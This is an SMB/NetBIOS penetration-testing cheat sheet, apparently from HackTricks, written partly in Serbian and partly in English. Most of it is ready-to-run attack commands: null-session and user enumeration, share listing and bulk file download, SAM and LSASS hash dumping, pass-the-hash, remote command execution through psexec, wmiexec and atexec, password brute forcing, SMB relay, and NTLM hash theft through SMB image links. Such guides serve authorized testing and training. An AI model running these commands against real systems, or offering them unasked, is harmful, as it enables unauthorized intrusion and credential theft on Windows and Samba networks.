139,445 - Pentesting SMB

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Port 139

The Mrežni osnovni ulazno/izlazni sistem** (NetBIOS)** je softverski protokol dizajniran da omogući aplikacijama, računarima i desktop računarima unutar lokalne mreže (LAN) da komuniciraju sa mrežnim hardverom i olakšaju prenos podataka preko mreže. Identifikacija i lociranje softverskih aplikacija koje rade na NetBIOS mreži ostvaruje se pomoću njihovih NetBIOS imena, koja mogu imati do 16 karaktera i često se razlikuju od imena računara. NetBIOS sesija između dve aplikacije pokreće se kada jedna aplikacija (koja deluje kao klijent) izda komandu da "pozove" drugu aplikaciju (koja deluje kao server) koristeći TCP Port 139.

139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn

Port 445

Tehnički, Port 139 se naziva ‘NBT over IP’, dok je Port 445 identifikovan kao ‘SMB over IP’. Akronim SMB označava ‘Server Message Blocks’, koji je modernije poznat kao Common Internet File System (CIFS). Kao mrežni protokol na aplikacionom nivou, SMB/CIFS se primarno koristi za omogućavanje deljenog pristupa fajlovima, štampačima, serijskim portovima i za olakšavanje različitih oblika komunikacije između čvorova na mreži.

Na primer, u kontekstu Windows-a, ističe se da SMB može raditi direktno preko TCP/IP, eliminišući potrebu za NetBIOS over TCP/IP, korišćenjem porta 445. Suprotno tome, na drugim sistemima se koristi port 139, što ukazuje da se SMB izvršava zajedno sa NetBIOS over TCP/IP.

445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

SMB

The Server Message Block (SMB) protocol, operating in a client-server model, is designed for regulating access to files, directories, and other network resources like printers and routers. Primarily utilized within the Windows operating system series, SMB ensures backward compatibility, allowing devices with newer versions of Microsoft's operating system to seamlessly interact with those running older versions. Additionally, the Samba project offers a free software solution, enabling SMB's implementation on Linux and Unix systems, thereby facilitating cross-platform communication through SMB.

Shares, representing arbitrary parts of the local file system, can be provided by an SMB server, making the hierarchy visible to a client partly independent from the server's actual structure. The Access Control Lists (ACLs), which define access rights, allow for fine-grained control over user permissions, including attributes like execute, read, and full access. These permissions can be assigned to individual users or groups, based on the shares, and are distinct from the local permissions set on the server.

IPC$ Share

Access to the IPC$ share can be obtained through an anonymous null session, allowing for interaction with services exposed via named pipes. The utility enum4linux is useful for this purpose. Utilized properly, it enables the acquisition of:

• Information on the operating system
• Details on the parent domain
• A compilation of local users and groups
• Information on available SMB shares
• The effective system security policy

This functionality is critical for network administrators and security professionals to assess the security posture of SMB (Server Message Block) services on a network. enum4linux provides a comprehensive view of the target system's SMB environment, which is essential for identifying potential vulnerabilities and ensuring that the SMB services are properly secured.

enum4linux -a target_ip

Gornja komanda je primer kako se enum4linux može koristiti za izvođenje potpune enumeracije protiv cilja navedenog kao target_ip.

Šta je NTLM

Ako ne znate šta je NTLM ili želite da saznate kako funkcioniše i kako ga zloupotrebiti, biće vam veoma zanimljiva ova stranica o NTLM na kojoj je objašnjeno kako ovaj protokol radi i kako ga možete iskoristiti:

NTLM

Enumeracija servera

Scan mreže u potrazi za hostovima:

nbtscan -r 192.168.0.1/24

Verzija SMB servera

Da biste tražili moguće exploits za SMB verziju, važno je znati koja verzija se koristi. Ako ova informacija nije prikazana u drugim alatima koje koristite, možete:

• Koristite MSF auxiliary module **auxiliary/scanner/smb/smb_version**
• Ili ovaj skript:

#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1

Pretraži exploit

msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb

Mogući Credentials

Brute Force

• SMB Brute Force

Informacije o SMB okruženju

Dobijanje informacija

#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>

#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb  --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information

#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

Enumerisanje korisnika, grupa i prijavljenih korisnika

Ove informacije bi već trebalo da budu prikupljene iz enum4linux i enum4linux-ng

crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]

ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "

rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups

Enumeracija lokalnih korisnika

Impacket

lookupsid.py -no-pass hostname.local

Oneliner

for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done

Metasploit - Enumeracija lokalnih korisnika

use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run

Enumerisanje LSARPC i SAMR rpcclient

rpcclient enumeration

GUI konekcija sa linux-a

U terminalu:

xdg-open smb://cascade.htb/

U prozoru file browser-a (nautilus, thunar, itd)

smb://friendzone.htb/general/

Enumeracija deljenih foldera

Lista deljenih foldera

Uvek se preporučuje da proverite da li možete pristupiti bilo čemu; ako nemate kredencijale, pokušajte koristiti null credentials/guest user.

smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash

smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list

crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user

Poveži/Izlistaj deljenu fasciklu

#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls'  to list recursively with smbclient

#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash

Ručno nabrajanje windows shares i povezivanje na njih

Moguće je da vam je onemogućeno prikazivanje share-ova na host mašini i da kada pokušate da ih nabrojite izgleda kao da nema share-ova za povezivanje. Zato vredi ukratko pokušati ručno se povezati na neki share. Da biste ručno enumerisali shares, obratite pažnju na odgovore poput NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME kada koristite validnu sesiju (npr. null session ili valid credentials). To može ukazivati da li share postoji ali nemate pristup, ili da share uopšte ne postoji.

Common share names for windows targets are

• C$
• D$
• ADMIN$
• IPC$
• PRINT$
• FAX$
• SYSVOL
• NETLOGON

(Uobičajeni nazivi share-ova iz Network Security Assessment 3rd edition)

Možete pokušati da se povežete koristeći sledeću komandu

smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)

ili ovaj script (koristeći null session)

#/bin/bash

ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')

for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')

if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done

primeri

smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session

Prikaz deljenih resursa sa Windows-a / bez alata treće strane

PowerShell

# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection

CMD konzola

# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all

MMC Snap-in (grafički)

# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc

explorer.exe (grafički), unesite \\<ip>\ da biste videli dostupne neskrivene deljene foldere.

Montiranje deljenog foldera

mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share

Preuzimanje fajlova

Pročitajte prethodne sekcije da biste naučili kako da se povežete koristeći credentials/Pass-the-Hash.

#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap

#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory

Komande:

• mask: određuje masku koja se koristi za filtriranje fajlova u direktorijumu (npr. "" za sve fajlove)
• recurse: uključuje rekurziju (podrazumevano: isključeno)
• prompt: isključuje upit za imena fajlova (podrazumevano: uključeno)
• mget: kopira sve fajlove koji odgovaraju maski sa hosta na klijent mašinu

(Informacije iz man stranice smbclient)

Pretraga deljenih foldera u domenu

• Snaffler

Snaffler.exe -s -d domain.local -o snaffler.log -v data

• CrackMapExec spider.
• -M spider_plus [--share <share_name>]
• --pattern txt

sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'

Posebno su interesantni na share-ovima fajlovi nazvani Registry.xml jer oni mogu sadržati lozinke za korisnike konfigurisane sa autologon putem Group Policy. Takođe, web.config fajlovi često sadrže kredencijale.

Čitanje registra

Možda ćete moći da čitete registar koristeći neke otkrivene kredencijale. Impacket reg.py vam omogućava da probate:

sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s

Post Exploitation

podrazumevana konfiguracija Samba servera obično se nalazi u /etc/samba/smb.conf i može sadržati neke opasne konfiguracije:

Komanda smbstatus daje informacije o serveru i o ko je povezan.

Authenticate using Kerberos

Možete se autentifikovati na Kerberos koristeći alate smbclient i rpcclient:

smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com

Izvršavanje komandi

crackmapexec

crackmapexec može izvršavati komande koristeći bilo koji od mmcexec, smbexec, atexec, wmiexec pri čemu je wmiexec podrazumevana metoda. Možete naznačiti koju opciju želite da koristite parametrom --exec-method:

apt-get install crackmapexec

crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash

psexec/smbexec

Obe opcije će kreirati novu uslugu (koristeći \pipe\svcctl preko SMB-a) na žrtvinom računaru i iskoristiti je da izvrše nešto (psexec will upload an executable file to ADMIN$ share and smbexec will point to cmd.exe/powershell.exe and put in the arguments the payload --file-less technique--).
Više informacija o psexec i smbexec.
Na kali se nalazi na /usr/share/doc/python3-impacket/examples/

#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash

Koristeći parameter-k možete se autentifikovati pomoću kerberos umesto NTLM

wmiexec/dcomexec

Diskretno pokrenite komandni shell bez dodirivanja diska ili pokretanja novog servisa koristeći DCOM preko port 135.
U kali nalazi se u /usr/share/doc/python3-impacket/examples/

#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

Koristeći parameter-k možete da se autentifikujete pomoću kerberos umesto NTLM

#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

AtExec

Izvršavajte naredbe preko Task Scheduler-a (koristeći \pipe\atsvc preko SMB).
Na kali se nalazi u /usr/share/doc/python3-impacket/examples/

./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"

Impacket referenca

https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/

ksmbd attack surface and SMB2/SMB3 protocol fuzzing (syzkaller)

Ksmbd Attack Surface And Fuzzing Syzkaller

Bruteforce users credentials

Ovo se ne preporučuje, možete blokirati nalog ako premašite maksimalno dozvoljen broj pokušaja

nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name

SMB relay attack

Ovaj napad koristi Responder toolkit da bi capture SMB authentication sessions na internoj mreži, i relays ih na target machine. Ako je authentication session is successful, automatski će vas dovesti u system shell.
More information about this attack here.

SMB-Trap

Windows biblioteka URLMon.dll automatski pokušava da authenticate-uje prema hostu kada stranica pokuša da pristupi nekom sadržaju preko SMB, na primer: img src="\\10.10.10.10\path\image.jpg"

Ovo se dešava sa sledećim funkcijama:

• URLDownloadToFile
• URLDownloadToCache
• URLOpenStream
• URLOpenBlockingStream

Koje koriste neki pregledači i alati (kao Skype)

SMBTrap using MitMf

NTLM Theft

Slično SMB Trapping-u, postavljanje malicioznih fajlova na target system (npr. preko SMB) može izazvati SMB authentication pokušaj, što omogućava presretanje NetNTLMv2 hasha pomoću alata kao što je Responder. Hash potom može biti razbijen offline ili iskorišćen u SMB relay attack.

See: ntlm_theft

HackTricks Automatic Commands

Protocol_Name: SMB    #Protocol Abbreviation if there is one.
Port_Number:  137,138,139     #Comma separated if there is more than one.
Protocol_Description: Server Message Block         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.

#These are the commands I run in order every time I see an open SMB port

With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}

With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html

Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}

Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}

Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}

Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb

Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445  enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'